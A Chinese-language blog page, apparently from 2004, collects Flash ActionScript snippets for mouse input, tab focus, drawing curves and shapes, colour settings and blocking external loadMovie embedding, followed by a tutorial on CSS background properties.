loadMovieNum(“vars.swf”, 1["POST"]);
_root.onEnterFrame = function() {
trace(_level1.myvab);
};
//当加载完毕后,输出就有值了…
       

鼠标右键及滚轮的代码


            if Key.isDown(2){},(左键的代码是1)
       
        左键:Key.isToggled(1)
        右键:Key.isToggled(2)
        滚轮:Key.isToggled(4)
        滚轮1:Key.isToggled(4) PC机上用
        滚轮2:Key.isToggled(3) MAC机上用
        未知:Key.isToggled(3)
  this.onEnterFrame = function() {
  if (Key.isDown(2)){
  trace(“asdfjsdjkf”);
  }
  }
 
 
 
 


实现TAB功能

      获得焦点
      使用Selection.setfocus()函数
      举个例子:
      例如你在主影片中有N个文本框,变量分别为text1,text2…..你想使影片一播放就把焦点落到第一个
文本框你就在第一FRAME 加AS如下:
      Selection.setfocus(“_root.text1″);
       
      我们可以举一反三
       

实现TAB功能 二

      把这个N个文本框做组成一个数组
      numarray=new array(“_root.text1″,”_root.text2″,…………………”_root.textn”);
      首先获得鼠标焦点
      x=Selection.getfocus();/* x 获得鼠标焦点的一个字符串
      for(i=0;i<=n;i++)
      {
      if(numarray
==x){
      num=i; /*获得当前焦点在数组中的位置
      }
      然后编写TAB键功能
      on (keyPress “<TAB>”) {
      if (num==n){num=0;}
      else{num++;}
       
      Selection.setfocus(numarray[num]);
       
      }
按钮能像window那样用Tab键来转换选择
      用button.onKillFoucus

   
  *两点间画直线
    *画螺旋线
    *画正方形、圆、椭圆
    *抛物线
    *正弦、余弦线
   
    使用方法:加到帧中就可
   
   
    // 画直线
    // / x1, y1: 起点坐标
    // x2, y2: 终点坐标
    // k是层次
    Movieclip.prototype.drawline = function(x1, y1, x2, y2, k) {
    this.linestyle(1);
    this.moveTo(x1, y1);
    this.lineTo(x2, y2);
    };
    // 从(0,0)到(100,100)画一条线
    _root.createEmptyMovieClip(“mc”, 10);
    mc.drawline(0, 0, 100, 100);
    // 画螺旋线
    // w、h为宽和高
    // f控制线的长短,用弧度表示
    Movieclip.prototype.drawhelix = function(w, h, f) {
    for (var i = 0; i<f; i += 0.05) {
    this.lineTo(x=Math.sin(i)*i*w, y=Math.cos(i)*i*h);
    this.linestyle(1);
    }
    };
    // 以(100,100)为中心画螺旋线
    _root.createEmptyMovieClip(“luo”, 1);
    with (luo) {
    drawhelix(5, 5, 13);
    _x += 100;
    _y += 100;
    }
    // 多功能函数,可画圆,椭圆,正多边形等
    // n为边数
    Movieclip.prototype.drawmany = function(w, h, n) {
    f = 2*Math.PI;
    for (var i = 0; i<=f/n*(n+1); i += f/n) {
    this.lineTo(x=Math.sin(i)*w, y=Math.cos(i)*h);
    this.linestyle(1);
    }
    };
    // 画一正五边形
    _root.createEmptyMovieClip(“duobian”, 2);
    with (duobian) {
    drawmany(50, 50, 5);
    _x += 250;
    _y += 100;
    // 5为多边形的边数,6.3为2pai
    }
    // 画一椭圆
    _root.createEmptyMovieClip(“tuo”, 3);
    with (tuo) {
    drawmany(25, 50, 100);
    _x += 400;
    _y += 100;
    }
    // 圆
    _root.createEmptyMovieClip(“yuan”, 4);
    with (yuan) {
    drawmany(50, 50, 100);
    _x += 400;
    _y += 300;
    }
    // 抛物线
    Movieclip.prototype.drawparabola = function(l, r, k) {
    for (var i = -l; i<=r; i += 1) {
    this.lineTo(x=i, y=k*i*i);
    this.linestyle(1);
    }
    };
    // 调用
    _root.createEmptyMovieClip(“parabola”, 100);
    with (parabola) {
    drawparabola(50, 50, 0.05);
    _x += 200;
    _y += 200;
    // 顶点坐标
    }
    // 正弦线,余弦类似
    Movieclip.prototype.drawsin = function(n, k) {
    for (var i = 0; i<=90*n; i += 1) {
    this.lineTo(x=i, y=k*Math.sin(i*Math.PI/180));
    this.linestyle(1);
    }
    };
    _root.createEmptyMovieClip(“sin”, 101);
    with (sin) {
    drawsin(4, 50);
    _x += 200;
    _y += 200;
    // 顶点坐标
    }
    Movieclip.prototype.drawwave = function(w, h) {
    for (var i = 0; i<=6.3; i += 0.01) {
    this.lineTo(x=w/Math.cos(i), y=h*Math.sin(i)/Math.cos(i));
    this.linestyle(1);
    }
    };
    _root.createEmptyMovieClip(“wave”, 105);
    with (wave) {
    drawwave(100, 100);
    _x += 200;
    _y += 200;
    // 顶点坐标
    }
   
一个动态文本设置alpha函数。
   
  function setAlpha(obj,alpha){
  var rgb=”0x”+(255*(100-alpha)/100).toString(16);
  rgb=rgb<<16|rgb<<8|rgb;
  obj.backgroundColor|=rgb;
  obj.borderColor|=rgb;
  obj.textColor|=rgb; }

   

一个遍历level0中所有MC的instance name的函数。(可以修改一下用在其他范畴)
   

 
function readAllMC(){
this.MCitem ;
for(what in _level0){
  if(typeof(_level0[what])==”movieclip”){
  this.MCitem[what] = _level0[what];
  }
}
}
 
 


   
   
   
设置MovieClip颜色:

  MovieClip.prototype.setColor = function(c_color)
  {
  var mycolor = new Color(this);
  mycolor.setRGB(c_color);
  };
  //调用:
  yourMovieClip.setColor(0xff0000);

   
 
怎样设as,拒绝影片被人用loadMovie导入

以下as一定要设在最上层桢动作第一行有效
_root._name = “nn”;
this.onEnterFrame = function() {
if (this._name != “nn” || _root.getDepth() != -16384) {
  this.unloadMovie();
}
};

2004年12月24日

说到背景也就只有背景颜色和颜色图片,这两个我想大家一定都知道在里加入bgcolor=”#808080″和background=”URL”对吧,可是我这里将要介绍不是这样做的,而是用CSS样式来做的,虽说有些麻烦,可是整体配合还是非常不错的。 

 ·背景颜色 background-color
      我想这个我就不用多做介绍了,颜色代码我想大家都知道的,不是用英文来代替就是用指定的代码来表示的。这个的默认值是transparent(透明色)。
 例:body{background-color:yellow}
 H1{background-color:#000000}

 ·背景图片 background-image
      背景图片和背景颜色在HTML里面的设置也是基本相同的,都可以在里加入相关的语句来完成。但是在这里,我所指的并非是用这种方法,我用的方法还是CSS。background-image这个的主要功能也就是用来显示图片,如果需要显示图片的话,那么只要在后面加上url(图片的地址)就可以了,不显示嘛,那是最简单不过的了,什么也不要就行了,因为这个默认的就是none,而要加的话,就是在后面加上这个none就可以了。
 例:body{background-image:url(file&:///C:/WINDOWS/BACKGRND.GIF)}
 h1{background-image:url(none)}

      大家在使用里的背景图片时,一定常常遇到一些图片因为太小,而产生种种如图片的重复出现而破坏了整个页面的美感,想换成其它图片又不合适之类的麻烦情况吧。不过现在好了,大家只要用了以下的几个CSS里控制图片方法,那么你以后就不会再有此类的麻烦事发生了。

 ·图片是否重复显示 background-repeat
      有时候重复显示是需要的,可是有时候重复显示则是让人头痛的,现在这个可以很好的帮助你了,而且它还可以帮你控制图片重复的方式(水平方向重复、垂直方向重复以及两个方向都有重复),而要实现这三个方向的重复也就只要在bcackground-repeat后面加上repeat-x(水平方向铺开)、repeat-y(垂直方向铺开)、repeat(两个方向铺开)。当然,它可以控制图片的重复,也可以控制图片不重复的。no-repeat这个就是用来表示只显示一幅背景图片,而不是重复出现的,这个可不是默认的哟,默认的是重复显示背景图片(repeat)。
 例:body{background-image:url(file&:///C:/WINDOWS/BACKGRND.GIF);background-repeat:no-repeat}

 ·定位图片显示位置 background-position
       一张背景图片经过上面的设置后往往还不够的,因为当你使用上面的不重复显示设置后,图片只显示在页面的左上角,而不会在其它地方,可是如果要在中间或者其它地方出现这张背景图片的话,那么background-position这个就可以帮你了,因为它就是用来显示图片相对于左上角的一个位置的(就是默认的值0% 0%),由两个值来设定,中间用空格来隔开。它的主要的几个值有left|center|right和top|center|bottom,也可以用百分数值指定相对位置或用一个值来指定绝对位置,如50%表示的位置是在中心,而50px的水平值则表示图片距左上角区域水平移动50px单位;这里要特别指出的是,1当你设置值的时候只提供一个值,则相当于只指定水平位置,垂直自动设置为50%;2当你设置的值是负数的时候,则表示背景图片超出边界。
 例:body{background-image:url(file&:///C:/WINDOWS/BACKGRND.GIF);background-repeat:no-repeat;background-position:100px 10px}

 ·控制图片是否滚动 background-attachment
       上面的两步可以帮你完成图像的定位,可是这样做好以后还不是完美的,因为如果你的页面有滚动条的时候,那么你这张背景图片就不会永远定位在那个位置了,如果想要图片永远定位在那个位置,就只有让这张图片随着页面的内容的滚动而滚动,这时background-attachment就可以帮你了你只要加入scroll(静止)和fixed(滚动)中的其中一个就可以了。当然不是让你乱加的,毕竟scroll是默认的,也就是不让图片随页面的内容而滚动的。
 例:body{background-image:url(file&:///C:/WINDOWS/BACKGRND.GIF);background-repeat:no-repeat;background-attachment:fixed}

       好了,经过以上这番设置后,我相信你的背景一定会更美的,但是过多的代码往往可读性很差,容易让人产生错误,所以在这里我要告诉大家的就是可以把以上的代码全部加在一起使用,也就是说把以上相关的代码加到background中。在把代码加到background中的时候要在每个值中间加上空格来隔开,而且不要把背景颜色的代码放在背景图片的URL后面,以免图片显示不出来。
 例:body{background:green url(file&:///C:/WINDOWS/BACKGRND.GIF) fixed 100px 50px no-repeat}

      最后提醒一下大家,如果用代码直接插入的话,那么一定要放下面这个代码的里后再放在之间才能正常显示出来!